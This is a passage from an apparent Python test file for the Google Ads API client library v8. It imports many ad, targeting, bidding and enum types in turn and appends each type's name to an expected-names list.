LegacyResponsiveDisplayAdInfo expected_names.append(LegacyResponsiveDisplayAdInfo.__name__) from google.ads.googleads.v8 import AppAdInfo expected_names.append(AppAdInfo.__name__) from google.ads.googleads.v8 import AppEngagementAdInfo expected_names.append(AppEngagementAdInfo.__name__) from google.ads.googleads.v8 import LegacyAppInstallAdInfo expected_names.append(LegacyAppInstallAdInfo.__name__) from google.ads.googleads.v8 import ResponsiveDisplayAdInfo expected_names.append(ResponsiveDisplayAdInfo.__name__) from google.ads.googleads.v8 import LocalAdInfo expected_names.append(LocalAdInfo.__name__) from google.ads.googleads.v8 import DisplayUploadAdInfo expected_names.append(DisplayUploadAdInfo.__name__) from google.ads.googleads.v8 import ResponsiveDisplayAdControlSpec expected_names.append(ResponsiveDisplayAdControlSpec.__name__) from google.ads.googleads.v8 import SmartCampaignAdInfo expected_names.append(SmartCampaignAdInfo.__name__) from google.ads.googleads.v8 import CallAdInfo expected_names.append(CallAdInfo.__name__) from google.ads.googleads.v8 import AgeRangeTypeEnum expected_names.append(AgeRangeTypeEnum.__name__) from google.ads.googleads.v8 import AppPaymentModelTypeEnum expected_names.append(AppPaymentModelTypeEnum.__name__) from google.ads.googleads.v8 import ContentLabelTypeEnum expected_names.append(ContentLabelTypeEnum.__name__) from google.ads.googleads.v8 import DayOfWeekEnum expected_names.append(DayOfWeekEnum.__name__) from google.ads.googleads.v8 import DeviceEnum expected_names.append(DeviceEnum.__name__) from google.ads.googleads.v8 import GenderTypeEnum expected_names.append(GenderTypeEnum.__name__) from google.ads.googleads.v8 import HotelDateSelectionTypeEnum expected_names.append(HotelDateSelectionTypeEnum.__name__) from google.ads.googleads.v8 import IncomeRangeTypeEnum expected_names.append(IncomeRangeTypeEnum.__name__) from google.ads.googleads.v8 import InteractionTypeEnum expected_names.append(InteractionTypeEnum.__name__) from google.ads.googleads.v8 import KeywordMatchTypeEnum expected_names.append(KeywordMatchTypeEnum.__name__) from google.ads.googleads.v8 import ListingGroupTypeEnum expected_names.append(ListingGroupTypeEnum.__name__) from google.ads.googleads.v8 import LocationGroupRadiusUnitsEnum expected_names.append(LocationGroupRadiusUnitsEnum.__name__) from google.ads.googleads.v8 import MinuteOfHourEnum expected_names.append(MinuteOfHourEnum.__name__) from google.ads.googleads.v8 import ParentalStatusTypeEnum expected_names.append(ParentalStatusTypeEnum.__name__) from google.ads.googleads.v8 import PreferredContentTypeEnum expected_names.append(PreferredContentTypeEnum.__name__) from google.ads.googleads.v8 import ProductBiddingCategoryLevelEnum expected_names.append(ProductBiddingCategoryLevelEnum.__name__) from google.ads.googleads.v8 import ProductChannelEnum expected_names.append(ProductChannelEnum.__name__) from google.ads.googleads.v8 import ProductChannelExclusivityEnum expected_names.append(ProductChannelExclusivityEnum.__name__) from google.ads.googleads.v8 import ProductConditionEnum expected_names.append(ProductConditionEnum.__name__) from google.ads.googleads.v8 import ProductCustomAttributeIndexEnum expected_names.append(ProductCustomAttributeIndexEnum.__name__) from google.ads.googleads.v8 import ProductTypeLevelEnum expected_names.append(ProductTypeLevelEnum.__name__) from google.ads.googleads.v8 import ProximityRadiusUnitsEnum expected_names.append(ProximityRadiusUnitsEnum.__name__) from google.ads.googleads.v8 import WebpageConditionOperandEnum expected_names.append(WebpageConditionOperandEnum.__name__) from google.ads.googleads.v8 import WebpageConditionOperatorEnum expected_names.append(WebpageConditionOperatorEnum.__name__) from google.ads.googleads.v8 import KeywordInfo expected_names.append(KeywordInfo.__name__) from google.ads.googleads.v8 import PlacementInfo expected_names.append(PlacementInfo.__name__) from google.ads.googleads.v8 import MobileAppCategoryInfo expected_names.append(MobileAppCategoryInfo.__name__) from google.ads.googleads.v8 import MobileApplicationInfo expected_names.append(MobileApplicationInfo.__name__) from google.ads.googleads.v8 import LocationInfo expected_names.append(LocationInfo.__name__) from google.ads.googleads.v8 import DeviceInfo expected_names.append(DeviceInfo.__name__) from google.ads.googleads.v8 import PreferredContentInfo expected_names.append(PreferredContentInfo.__name__) from google.ads.googleads.v8 import ListingGroupInfo expected_names.append(ListingGroupInfo.__name__) from google.ads.googleads.v8 import ListingScopeInfo expected_names.append(ListingScopeInfo.__name__) from google.ads.googleads.v8 import ListingDimensionInfo expected_names.append(ListingDimensionInfo.__name__) from google.ads.googleads.v8 import HotelIdInfo expected_names.append(HotelIdInfo.__name__) from google.ads.googleads.v8 import HotelClassInfo expected_names.append(HotelClassInfo.__name__) from google.ads.googleads.v8 import HotelCountryRegionInfo expected_names.append(HotelCountryRegionInfo.__name__) from google.ads.googleads.v8 import HotelStateInfo expected_names.append(HotelStateInfo.__name__) from google.ads.googleads.v8 import HotelCityInfo expected_names.append(HotelCityInfo.__name__) from google.ads.googleads.v8 import ProductBiddingCategoryInfo expected_names.append(ProductBiddingCategoryInfo.__name__) from google.ads.googleads.v8 import ProductBrandInfo expected_names.append(ProductBrandInfo.__name__) from google.ads.googleads.v8 import ProductChannelInfo expected_names.append(ProductChannelInfo.__name__) from google.ads.googleads.v8 import ProductChannelExclusivityInfo expected_names.append(ProductChannelExclusivityInfo.__name__) from google.ads.googleads.v8 import ProductConditionInfo expected_names.append(ProductConditionInfo.__name__) from google.ads.googleads.v8 import ProductCustomAttributeInfo expected_names.append(ProductCustomAttributeInfo.__name__) from google.ads.googleads.v8 import ProductItemIdInfo expected_names.append(ProductItemIdInfo.__name__) from google.ads.googleads.v8 import ProductTypeInfo expected_names.append(ProductTypeInfo.__name__) from google.ads.googleads.v8 import UnknownListingDimensionInfo expected_names.append(UnknownListingDimensionInfo.__name__) from google.ads.googleads.v8 import HotelDateSelectionTypeInfo expected_names.append(HotelDateSelectionTypeInfo.__name__) from google.ads.googleads.v8 import HotelAdvanceBookingWindowInfo expected_names.append(HotelAdvanceBookingWindowInfo.__name__) from google.ads.googleads.v8 import HotelLengthOfStayInfo expected_names.append(HotelLengthOfStayInfo.__name__) from google.ads.googleads.v8 import HotelCheckInDateRangeInfo expected_names.append(HotelCheckInDateRangeInfo.__name__) from google.ads.googleads.v8 import HotelCheckInDayInfo expected_names.append(HotelCheckInDayInfo.__name__) from google.ads.googleads.v8 import InteractionTypeInfo expected_names.append(InteractionTypeInfo.__name__) from google.ads.googleads.v8 import AdScheduleInfo expected_names.append(AdScheduleInfo.__name__) from google.ads.googleads.v8 import AgeRangeInfo expected_names.append(AgeRangeInfo.__name__) from google.ads.googleads.v8 import GenderInfo expected_names.append(GenderInfo.__name__) from google.ads.googleads.v8 import IncomeRangeInfo expected_names.append(IncomeRangeInfo.__name__) from google.ads.googleads.v8 import ParentalStatusInfo expected_names.append(ParentalStatusInfo.__name__) from google.ads.googleads.v8 import YouTubeVideoInfo expected_names.append(YouTubeVideoInfo.__name__) from google.ads.googleads.v8 import YouTubeChannelInfo expected_names.append(YouTubeChannelInfo.__name__) from google.ads.googleads.v8 import UserListInfo expected_names.append(UserListInfo.__name__) from google.ads.googleads.v8 import ProximityInfo expected_names.append(ProximityInfo.__name__) from google.ads.googleads.v8 import GeoPointInfo expected_names.append(GeoPointInfo.__name__) from google.ads.googleads.v8 import AddressInfo expected_names.append(AddressInfo.__name__) from google.ads.googleads.v8 import TopicInfo expected_names.append(TopicInfo.__name__) from google.ads.googleads.v8 import LanguageInfo expected_names.append(LanguageInfo.__name__) from google.ads.googleads.v8 import IpBlockInfo expected_names.append(IpBlockInfo.__name__) from google.ads.googleads.v8 import ContentLabelInfo expected_names.append(ContentLabelInfo.__name__) from google.ads.googleads.v8 import CarrierInfo expected_names.append(CarrierInfo.__name__) from google.ads.googleads.v8 import UserInterestInfo expected_names.append(UserInterestInfo.__name__) from google.ads.googleads.v8 import WebpageInfo expected_names.append(WebpageInfo.__name__) from google.ads.googleads.v8 import WebpageConditionInfo expected_names.append(WebpageConditionInfo.__name__) from google.ads.googleads.v8 import WebpageSampleInfo expected_names.append(WebpageSampleInfo.__name__) from google.ads.googleads.v8 import OperatingSystemVersionInfo expected_names.append(OperatingSystemVersionInfo.__name__) from google.ads.googleads.v8 import AppPaymentModelInfo expected_names.append(AppPaymentModelInfo.__name__) from google.ads.googleads.v8 import MobileDeviceInfo expected_names.append(MobileDeviceInfo.__name__) from google.ads.googleads.v8 import CustomAffinityInfo expected_names.append(CustomAffinityInfo.__name__) from google.ads.googleads.v8 import CustomIntentInfo expected_names.append(CustomIntentInfo.__name__) from google.ads.googleads.v8 import LocationGroupInfo expected_names.append(LocationGroupInfo.__name__) from google.ads.googleads.v8 import CustomAudienceInfo expected_names.append(CustomAudienceInfo.__name__) from google.ads.googleads.v8 import CombinedAudienceInfo expected_names.append(CombinedAudienceInfo.__name__) from google.ads.googleads.v8 import KeywordThemeInfo expected_names.append(KeywordThemeInfo.__name__) from google.ads.googleads.v8 import Money expected_names.append(Money.__name__) from google.ads.googleads.v8 import LeadFormCallToActionTypeEnum expected_names.append(LeadFormCallToActionTypeEnum.__name__) from google.ads.googleads.v8 import LeadFormDesiredIntentEnum expected_names.append(LeadFormDesiredIntentEnum.__name__) from google.ads.googleads.v8 import LeadFormFieldUserInputTypeEnum expected_names.append(LeadFormFieldUserInputTypeEnum.__name__) from google.ads.googleads.v8 import LeadFormPostSubmitCallToActionTypeEnum expected_names.append(LeadFormPostSubmitCallToActionTypeEnum.__name__) from google.ads.googleads.v8 import PromotionExtensionDiscountModifierEnum expected_names.append(PromotionExtensionDiscountModifierEnum.__name__) from google.ads.googleads.v8 import PromotionExtensionOccasionEnum expected_names.append(PromotionExtensionOccasionEnum.__name__) from google.ads.googleads.v8 import YoutubeVideoAsset expected_names.append(YoutubeVideoAsset.__name__) from google.ads.googleads.v8 import MediaBundleAsset expected_names.append(MediaBundleAsset.__name__) from google.ads.googleads.v8 import ImageAsset expected_names.append(ImageAsset.__name__) from google.ads.googleads.v8 import ImageDimension expected_names.append(ImageDimension.__name__) from google.ads.googleads.v8 import TextAsset expected_names.append(TextAsset.__name__) from google.ads.googleads.v8 import LeadFormAsset expected_names.append(LeadFormAsset.__name__) from google.ads.googleads.v8 import LeadFormField expected_names.append(LeadFormField.__name__) from google.ads.googleads.v8 import LeadFormSingleChoiceAnswers expected_names.append(LeadFormSingleChoiceAnswers.__name__) from google.ads.googleads.v8 import LeadFormDeliveryMethod expected_names.append(LeadFormDeliveryMethod.__name__) from google.ads.googleads.v8 import WebhookDelivery expected_names.append(WebhookDelivery.__name__) from google.ads.googleads.v8 import BookOnGoogleAsset expected_names.append(BookOnGoogleAsset.__name__) from google.ads.googleads.v8 import PromotionAsset expected_names.append(PromotionAsset.__name__) from google.ads.googleads.v8 import CalloutAsset expected_names.append(CalloutAsset.__name__) from google.ads.googleads.v8 import StructuredSnippetAsset expected_names.append(StructuredSnippetAsset.__name__) from google.ads.googleads.v8 import SitelinkAsset expected_names.append(SitelinkAsset.__name__) from google.ads.googleads.v8 import TargetImpressionShareLocationEnum expected_names.append(TargetImpressionShareLocationEnum.__name__) from google.ads.googleads.v8 import Commission expected_names.append(Commission.__name__) from google.ads.googleads.v8 import EnhancedCpc expected_names.append(EnhancedCpc.__name__) from google.ads.googleads.v8 import ManualCpc expected_names.append(ManualCpc.__name__) from google.ads.googleads.v8 import ManualCpm expected_names.append(ManualCpm.__name__) from google.ads.googleads.v8 import ManualCpv expected_names.append(ManualCpv.__name__) from google.ads.googleads.v8 import MaximizeConversions expected_names.append(MaximizeConversions.__name__) from google.ads.googleads.v8 import MaximizeConversionValue expected_names.append(MaximizeConversionValue.__name__) from google.ads.googleads.v8 import TargetCpa expected_names.append(TargetCpa.__name__) from google.ads.googleads.v8 import TargetCpm expected_names.append(TargetCpm.__name__) from google.ads.googleads.v8 import TargetImpressionShare expected_names.append(TargetImpressionShare.__name__) from google.ads.googleads.v8 import TargetRoas expected_names.append(TargetRoas.__name__) from google.ads.googleads.v8 import TargetSpend expected_names.append(TargetSpend.__name__) from google.ads.googleads.v8 import PercentCpc expected_names.append(PercentCpc.__name__) from google.ads.googleads.v8 import ClickLocation expected_names.append(ClickLocation.__name__) from google.ads.googleads.v8 import AdvertisingChannelSubTypeEnum expected_names.append(AdvertisingChannelSubTypeEnum.__name__) from google.ads.googleads.v8 import AdvertisingChannelTypeEnum expected_names.append(AdvertisingChannelTypeEnum.__name__) from google.ads.googleads.v8 import CriterionCategoryChannelAvailabilityModeEnum expected_names.append(CriterionCategoryChannelAvailabilityModeEnum.__name__) from google.ads.googleads.v8 import CriterionCategoryLocaleAvailabilityModeEnum expected_names.append(CriterionCategoryLocaleAvailabilityModeEnum.__name__) from google.ads.googleads.v8 import CriterionCategoryAvailability expected_names.append(CriterionCategoryAvailability.__name__) from google.ads.googleads.v8 import CriterionCategoryChannelAvailability expected_names.append(CriterionCategoryChannelAvailability.__name__) from google.ads.googleads.v8 import CriterionCategoryLocaleAvailability expected_names.append(CriterionCategoryLocaleAvailability.__name__) from google.ads.googleads.v8 import CustomParameter expected_names.append(CustomParameter.__name__) from google.ads.googleads.v8 import MonthOfYearEnum expected_names.append(MonthOfYearEnum.__name__) from google.ads.googleads.v8 import DateRange expected_names.append(DateRange.__name__) from google.ads.googleads.v8 import YearMonthRange expected_names.append(YearMonthRange.__name__) from google.ads.googleads.v8 import YearMonth expected_names.append(YearMonth.__name__) from google.ads.googleads.v8 import ExplorerAutoOptimizerSetting expected_names.append(ExplorerAutoOptimizerSetting.__name__) from google.ads.googleads.v8 import AppStoreEnum expected_names.append(AppStoreEnum.__name__) from google.ads.googleads.v8 import PriceExtensionPriceQualifierEnum expected_names.append(PriceExtensionPriceQualifierEnum.__name__) from google.ads.googleads.v8 import PriceExtensionPriceUnitEnum expected_names.append(PriceExtensionPriceUnitEnum.__name__) from google.ads.googleads.v8 import PriceExtensionTypeEnum expected_names.append(PriceExtensionTypeEnum.__name__) from google.ads.googleads.v8 import AppFeedItem expected_names.append(AppFeedItem.__name__) from google.ads.googleads.v8 import CallFeedItem expected_names.append(CallFeedItem.__name__) from google.ads.googleads.v8 import CalloutFeedItem expected_names.append(CalloutFeedItem.__name__) from google.ads.googleads.v8 import LocationFeedItem expected_names.append(LocationFeedItem.__name__) from google.ads.googleads.v8 import AffiliateLocationFeedItem expected_names.append(AffiliateLocationFeedItem.__name__) from google.ads.googleads.v8 import TextMessageFeedItem expected_names.append(TextMessageFeedItem.__name__) from google.ads.googleads.v8 import PriceFeedItem expected_names.append(PriceFeedItem.__name__) from google.ads.googleads.v8 import PriceOffer expected_names.append(PriceOffer.__name__) from google.ads.googleads.v8 import PromotionFeedItem expected_names.append(PromotionFeedItem.__name__) from google.ads.googleads.v8 import StructuredSnippetFeedItem expected_names.append(StructuredSnippetFeedItem.__name__) from google.ads.googleads.v8 import SitelinkFeedItem expected_names.append(SitelinkFeedItem.__name__) from google.ads.googleads.v8 import HotelCalloutFeedItem expected_names.append(HotelCalloutFeedItem.__name__) from google.ads.googleads.v8 import ImageFeedItem expected_names.append(ImageFeedItem.__name__) from google.ads.googleads.v8 import FeedItemSetStringFilterTypeEnum expected_names.append(FeedItemSetStringFilterTypeEnum.__name__) from google.ads.googleads.v8 import DynamicLocationSetFilter expected_names.append(DynamicLocationSetFilter.__name__) from google.ads.googleads.v8 import BusinessNameFilter expected_names.append(BusinessNameFilter.__name__) from google.ads.googleads.v8 import DynamicAffiliateLocationSetFilter expected_names.append(DynamicAffiliateLocationSetFilter.__name__) from google.ads.googleads.v8 import AppUrlOperatingSystemTypeEnum expected_names.append(AppUrlOperatingSystemTypeEnum.__name__) from google.ads.googleads.v8 import FinalAppUrl expected_names.append(FinalAppUrl.__name__) from google.ads.googleads.v8 import FrequencyCapEventTypeEnum expected_names.append(FrequencyCapEventTypeEnum.__name__) from google.ads.googleads.v8 import FrequencyCapLevelEnum expected_names.append(FrequencyCapLevelEnum.__name__) from google.ads.googleads.v8 import FrequencyCapTimeUnitEnum expected_names.append(FrequencyCapTimeUnitEnum.__name__) from google.ads.googleads.v8 import FrequencyCapEntry expected_names.append(FrequencyCapEntry.__name__) from google.ads.googleads.v8 import FrequencyCapKey expected_names.append(FrequencyCapKey.__name__) from google.ads.googleads.v8 import KeywordPlanAggregateMetricTypeEnum expected_names.append(KeywordPlanAggregateMetricTypeEnum.__name__) from google.ads.googleads.v8 import KeywordPlanCompetitionLevelEnum expected_names.append(KeywordPlanCompetitionLevelEnum.__name__) from google.ads.googleads.v8 import KeywordPlanConceptGroupTypeEnum expected_names.append(KeywordPlanConceptGroupTypeEnum.__name__) from google.ads.googleads.v8 import KeywordPlanHistoricalMetrics expected_names.append(KeywordPlanHistoricalMetrics.__name__) from google.ads.googleads.v8 import HistoricalMetricsOptions expected_names.append(HistoricalMetricsOptions.__name__) from google.ads.googleads.v8 import MonthlySearchVolume expected_names.append(MonthlySearchVolume.__name__) from google.ads.googleads.v8 import KeywordPlanAggregateMetrics expected_names.append(KeywordPlanAggregateMetrics.__name__) from google.ads.googleads.v8 import KeywordPlanAggregateMetricResults expected_names.append(KeywordPlanAggregateMetricResults.__name__) from google.ads.googleads.v8 import KeywordPlanDeviceSearches expected_names.append(KeywordPlanDeviceSearches.__name__) from google.ads.googleads.v8 import KeywordAnnotations expected_names.append(KeywordAnnotations.__name__) from google.ads.googleads.v8 import KeywordConcept expected_names.append(KeywordConcept.__name__) from google.ads.googleads.v8 import ConceptGroup expected_names.append(ConceptGroup.__name__) from google.ads.googleads.v8 import MatchingFunctionContextTypeEnum expected_names.append(MatchingFunctionContextTypeEnum.__name__) from google.ads.googleads.v8 import MatchingFunctionOperatorEnum expected_names.append(MatchingFunctionOperatorEnum.__name__) from google.ads.googleads.v8 import MatchingFunction expected_names.append(MatchingFunction.__name__) from google.ads.googleads.v8 import Operand expected_names.append(Operand.__name__) from google.ads.googleads.v8 import InteractionEventTypeEnum expected_names.append(InteractionEventTypeEnum.__name__) from google.ads.googleads.v8 import QualityScoreBucketEnum expected_names.append(QualityScoreBucketEnum.__name__) from google.ads.googleads.v8 import Metrics expected_names.append(Metrics.__name__) from google.ads.googleads.v8 import UserIdentifierSourceEnum expected_names.append(UserIdentifierSourceEnum.__name__) from google.ads.googleads.v8 import OfflineUserAddressInfo expected_names.append(OfflineUserAddressInfo.__name__) from google.ads.googleads.v8 import UserIdentifier expected_names.append(UserIdentifier.__name__) from google.ads.googleads.v8 import TransactionAttribute expected_names.append(TransactionAttribute.__name__) from google.ads.googleads.v8 import StoreAttribute expected_names.append(StoreAttribute.__name__) from google.ads.googleads.v8 import ItemAttribute expected_names.append(ItemAttribute.__name__) from google.ads.googleads.v8 import UserData expected_names.append(UserData.__name__) from google.ads.googleads.v8 import UserAttribute expected_names.append(UserAttribute.__name__) from google.ads.googleads.v8 import CustomerMatchUserListMetadata expected_names.append(CustomerMatchUserListMetadata.__name__) from google.ads.googleads.v8 import StoreSalesMetadata expected_names.append(StoreSalesMetadata.__name__) from google.ads.googleads.v8 import StoreSalesThirdPartyMetadata expected_names.append(StoreSalesThirdPartyMetadata.__name__) from google.ads.googleads.v8 import RealTimeBiddingSetting expected_names.append(RealTimeBiddingSetting.__name__) from google.ads.googleads.v8 import AdDestinationTypeEnum expected_names.append(AdDestinationTypeEnum.__name__) from google.ads.googleads.v8 import AdNetworkTypeEnum expected_names.append(AdNetworkTypeEnum.__name__) from google.ads.googleads.v8 import BudgetCampaignAssociationStatusEnum expected_names.append(BudgetCampaignAssociationStatusEnum.__name__) from google.ads.googleads.v8 import ClickTypeEnum expected_names.append(ClickTypeEnum.__name__) from google.ads.googleads.v8 import ConversionActionCategoryEnum expected_names.append(ConversionActionCategoryEnum.__name__) from google.ads.googleads.v8 import ConversionAttributionEventTypeEnum expected_names.append(ConversionAttributionEventTypeEnum.__name__) from google.ads.googleads.v8 import ConversionLagBucketEnum expected_names.append(ConversionLagBucketEnum.__name__) from google.ads.googleads.v8 import ConversionOrAdjustmentLagBucketEnum expected_names.append(ConversionOrAdjustmentLagBucketEnum.__name__) from google.ads.googleads.v8 import ConversionValueRulePrimaryDimensionEnum expected_names.append(ConversionValueRulePrimaryDimensionEnum.__name__) from google.ads.googleads.v8 import ExternalConversionSourceEnum expected_names.append(ExternalConversionSourceEnum.__name__) from google.ads.googleads.v8 import HotelPriceBucketEnum expected_names.append(HotelPriceBucketEnum.__name__) from google.ads.googleads.v8 import HotelRateTypeEnum expected_names.append(HotelRateTypeEnum.__name__) from google.ads.googleads.v8 import PlaceholderTypeEnum expected_names.append(PlaceholderTypeEnum.__name__) from google.ads.googleads.v8 import RecommendationTypeEnum expected_names.append(RecommendationTypeEnum.__name__) from google.ads.googleads.v8 import SearchEngineResultsPageTypeEnum expected_names.append(SearchEngineResultsPageTypeEnum.__name__) from google.ads.googleads.v8 import SearchTermMatchTypeEnum expected_names.append(SearchTermMatchTypeEnum.__name__) from google.ads.googleads.v8 import SlotEnum expected_names.append(SlotEnum.__name__) from google.ads.googleads.v8 import Segments expected_names.append(Segments.__name__) from google.ads.googleads.v8 import Keyword expected_names.append(Keyword.__name__) from google.ads.googleads.v8 import BudgetCampaignAssociationStatus expected_names.append(BudgetCampaignAssociationStatus.__name__) from google.ads.googleads.v8 import AssetInteractionTarget expected_names.append(AssetInteractionTarget.__name__) from google.ads.googleads.v8 import BidModifierSimulationPointList expected_names.append(BidModifierSimulationPointList.__name__) from google.ads.googleads.v8 import CpcBidSimulationPointList expected_names.append(CpcBidSimulationPointList.__name__) from google.ads.googleads.v8 import CpvBidSimulationPointList expected_names.append(CpvBidSimulationPointList.__name__) from google.ads.googleads.v8 import TargetCpaSimulationPointList expected_names.append(TargetCpaSimulationPointList.__name__) from google.ads.googleads.v8 import TargetRoasSimulationPointList expected_names.append(TargetRoasSimulationPointList.__name__) from google.ads.googleads.v8 import PercentCpcBidSimulationPointList expected_names.append(PercentCpcBidSimulationPointList.__name__) from google.ads.googleads.v8 import BudgetSimulationPointList expected_names.append(BudgetSimulationPointList.__name__) from google.ads.googleads.v8 import TargetImpressionShareSimulationPointList expected_names.append(TargetImpressionShareSimulationPointList.__name__) from google.ads.googleads.v8 import BidModifierSimulationPoint expected_names.append(BidModifierSimulationPoint.__name__) from google.ads.googleads.v8 import CpcBidSimulationPoint expected_names.append(CpcBidSimulationPoint.__name__) from google.ads.googleads.v8 import CpvBidSimulationPoint expected_names.append(CpvBidSimulationPoint.__name__) from google.ads.googleads.v8 import TargetCpaSimulationPoint expected_names.append(TargetCpaSimulationPoint.__name__) from google.ads.googleads.v8 import TargetRoasSimulationPoint expected_names.append(TargetRoasSimulationPoint.__name__) from google.ads.googleads.v8 import PercentCpcBidSimulationPoint expected_names.append(PercentCpcBidSimulationPoint.__name__) from google.ads.googleads.v8 import BudgetSimulationPoint expected_names.append(BudgetSimulationPoint.__name__) from google.ads.googleads.v8 import TargetImpressionShareSimulationPoint expected_names.append(TargetImpressionShareSimulationPoint.__name__) from google.ads.googleads.v8 import TrackingCodePageFormatEnum expected_names.append(TrackingCodePageFormatEnum.__name__) from google.ads.googleads.v8 import TrackingCodeTypeEnum expected_names.append(TrackingCodeTypeEnum.__name__) from google.ads.googleads.v8 import TagSnippet expected_names.append(TagSnippet.__name__) from google.ads.googleads.v8 import TargetingDimensionEnum expected_names.append(TargetingDimensionEnum.__name__) from google.ads.googleads.v8 import TargetingSetting expected_names.append(TargetingSetting.__name__) from google.ads.googleads.v8 import TargetRestriction expected_names.append(TargetRestriction.__name__) from google.ads.googleads.v8 import TargetRestrictionOperation expected_names.append(TargetRestrictionOperation.__name__) from google.ads.googleads.v8 import TextLabel expected_names.append(TextLabel.__name__) from google.ads.googleads.v8 import UrlCollection expected_names.append(UrlCollection.__name__) from google.ads.googleads.v8 import CustomerMatchUploadKeyTypeEnum expected_names.append(CustomerMatchUploadKeyTypeEnum.__name__) from google.ads.googleads.v8 import UserListCombinedRuleOperatorEnum expected_names.append(UserListCombinedRuleOperatorEnum.__name__) from google.ads.googleads.v8 import UserListCrmDataSourceTypeEnum expected_names.append(UserListCrmDataSourceTypeEnum.__name__) from google.ads.googleads.v8 import UserListDateRuleItemOperatorEnum expected_names.append(UserListDateRuleItemOperatorEnum.__name__) from google.ads.googleads.v8 import UserListLogicalRuleOperatorEnum expected_names.append(UserListLogicalRuleOperatorEnum.__name__) from google.ads.googleads.v8 import UserListNumberRuleItemOperatorEnum expected_names.append(UserListNumberRuleItemOperatorEnum.__name__) from google.ads.googleads.v8 import UserListPrepopulationStatusEnum expected_names.append(UserListPrepopulationStatusEnum.__name__) from google.ads.googleads.v8 import UserListRuleTypeEnum expected_names.append(UserListRuleTypeEnum.__name__) from google.ads.googleads.v8 import UserListStringRuleItemOperatorEnum expected_names.append(UserListStringRuleItemOperatorEnum.__name__) from google.ads.googleads.v8 import SimilarUserListInfo expected_names.append(SimilarUserListInfo.__name__) from google.ads.googleads.v8 import CrmBasedUserListInfo expected_names.append(CrmBasedUserListInfo.__name__) from google.ads.googleads.v8 import UserListRuleInfo expected_names.append(UserListRuleInfo.__name__) from google.ads.googleads.v8 import UserListRuleItemGroupInfo expected_names.append(UserListRuleItemGroupInfo.__name__) from google.ads.googleads.v8 import UserListRuleItemInfo expected_names.append(UserListRuleItemInfo.__name__) from google.ads.googleads.v8 import UserListDateRuleItemInfo expected_names.append(UserListDateRuleItemInfo.__name__) from google.ads.googleads.v8 import UserListNumberRuleItemInfo expected_names.append(UserListNumberRuleItemInfo.__name__) from google.ads.googleads.v8 import UserListStringRuleItemInfo expected_names.append(UserListStringRuleItemInfo.__name__) from google.ads.googleads.v8 import CombinedRuleUserListInfo expected_names.append(CombinedRuleUserListInfo.__name__) from google.ads.googleads.v8 import DateSpecificRuleUserListInfo expected_names.append(DateSpecificRuleUserListInfo.__name__) from google.ads.googleads.v8 import ExpressionRuleUserListInfo expected_names.append(ExpressionRuleUserListInfo.__name__) from google.ads.googleads.v8 import RuleBasedUserListInfo expected_names.append(RuleBasedUserListInfo.__name__) from google.ads.googleads.v8 import LogicalUserListInfo expected_names.append(LogicalUserListInfo.__name__) from google.ads.googleads.v8 import UserListLogicalRuleInfo expected_names.append(UserListLogicalRuleInfo.__name__) from google.ads.googleads.v8 import LogicalUserListOperandInfo expected_names.append(LogicalUserListOperandInfo.__name__) from google.ads.googleads.v8 import BasicUserListInfo expected_names.append(BasicUserListInfo.__name__) from google.ads.googleads.v8 import UserListActionInfo expected_names.append(UserListActionInfo.__name__) from google.ads.googleads.v8 import Value expected_names.append(Value.__name__) from google.ads.googleads.v8 import AccessInvitationStatusEnum expected_names.append(AccessInvitationStatusEnum.__name__) from google.ads.googleads.v8 import AccessReasonEnum expected_names.append(AccessReasonEnum.__name__) from google.ads.googleads.v8 import AccessRoleEnum expected_names.append(AccessRoleEnum.__name__) from google.ads.googleads.v8 import AccountBudgetProposalStatusEnum expected_names.append(AccountBudgetProposalStatusEnum.__name__) from google.ads.googleads.v8 import AccountBudgetProposalTypeEnum expected_names.append(AccountBudgetProposalTypeEnum.__name__) from google.ads.googleads.v8 import AccountBudgetStatusEnum expected_names.append(AccountBudgetStatusEnum.__name__) from google.ads.googleads.v8 import AccountLinkStatusEnum expected_names.append(AccountLinkStatusEnum.__name__) from google.ads.googleads.v8 import AdCustomizerPlaceholderFieldEnum expected_names.append(AdCustomizerPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import AdGroupAdRotationModeEnum expected_names.append(AdGroupAdRotationModeEnum.__name__) from google.ads.googleads.v8 import AdGroupAdStatusEnum expected_names.append(AdGroupAdStatusEnum.__name__) from google.ads.googleads.v8 import AdGroupCriterionApprovalStatusEnum expected_names.append(AdGroupCriterionApprovalStatusEnum.__name__) from google.ads.googleads.v8 import AdGroupCriterionStatusEnum expected_names.append(AdGroupCriterionStatusEnum.__name__) from google.ads.googleads.v8 import AdGroupStatusEnum expected_names.append(AdGroupStatusEnum.__name__) from google.ads.googleads.v8 import AdGroupTypeEnum expected_names.append(AdGroupTypeEnum.__name__) from google.ads.googleads.v8 import AdServingOptimizationStatusEnum expected_names.append(AdServingOptimizationStatusEnum.__name__) from google.ads.googleads.v8 import AdStrengthEnum expected_names.append(AdStrengthEnum.__name__) from google.ads.googleads.v8 import AdTypeEnum expected_names.append(AdTypeEnum.__name__) from google.ads.googleads.v8 import AffiliateLocationFeedRelationshipTypeEnum expected_names.append(AffiliateLocationFeedRelationshipTypeEnum.__name__) from google.ads.googleads.v8 import AffiliateLocationPlaceholderFieldEnum expected_names.append(AffiliateLocationPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import AppCampaignAppStoreEnum expected_names.append(AppCampaignAppStoreEnum.__name__) from google.ads.googleads.v8 import AppCampaignBiddingStrategyGoalTypeEnum expected_names.append(AppCampaignBiddingStrategyGoalTypeEnum.__name__) from google.ads.googleads.v8 import AppPlaceholderFieldEnum expected_names.append(AppPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import AssetFieldTypeEnum expected_names.append(AssetFieldTypeEnum.__name__) from google.ads.googleads.v8 import AssetLinkStatusEnum expected_names.append(AssetLinkStatusEnum.__name__) from google.ads.googleads.v8 import AssetTypeEnum expected_names.append(AssetTypeEnum.__name__) from google.ads.googleads.v8 import AttributionModelEnum expected_names.append(AttributionModelEnum.__name__) from google.ads.googleads.v8 import BatchJobStatusEnum expected_names.append(BatchJobStatusEnum.__name__) from google.ads.googleads.v8 import BidModifierSourceEnum expected_names.append(BidModifierSourceEnum.__name__) from google.ads.googleads.v8 import BiddingSourceEnum expected_names.append(BiddingSourceEnum.__name__) from google.ads.googleads.v8 import BiddingStrategyStatusEnum expected_names.append(BiddingStrategyStatusEnum.__name__) from google.ads.googleads.v8 import BiddingStrategyTypeEnum expected_names.append(BiddingStrategyTypeEnum.__name__) from google.ads.googleads.v8 import BillingSetupStatusEnum expected_names.append(BillingSetupStatusEnum.__name__) from google.ads.googleads.v8 import BrandSafetySuitabilityEnum 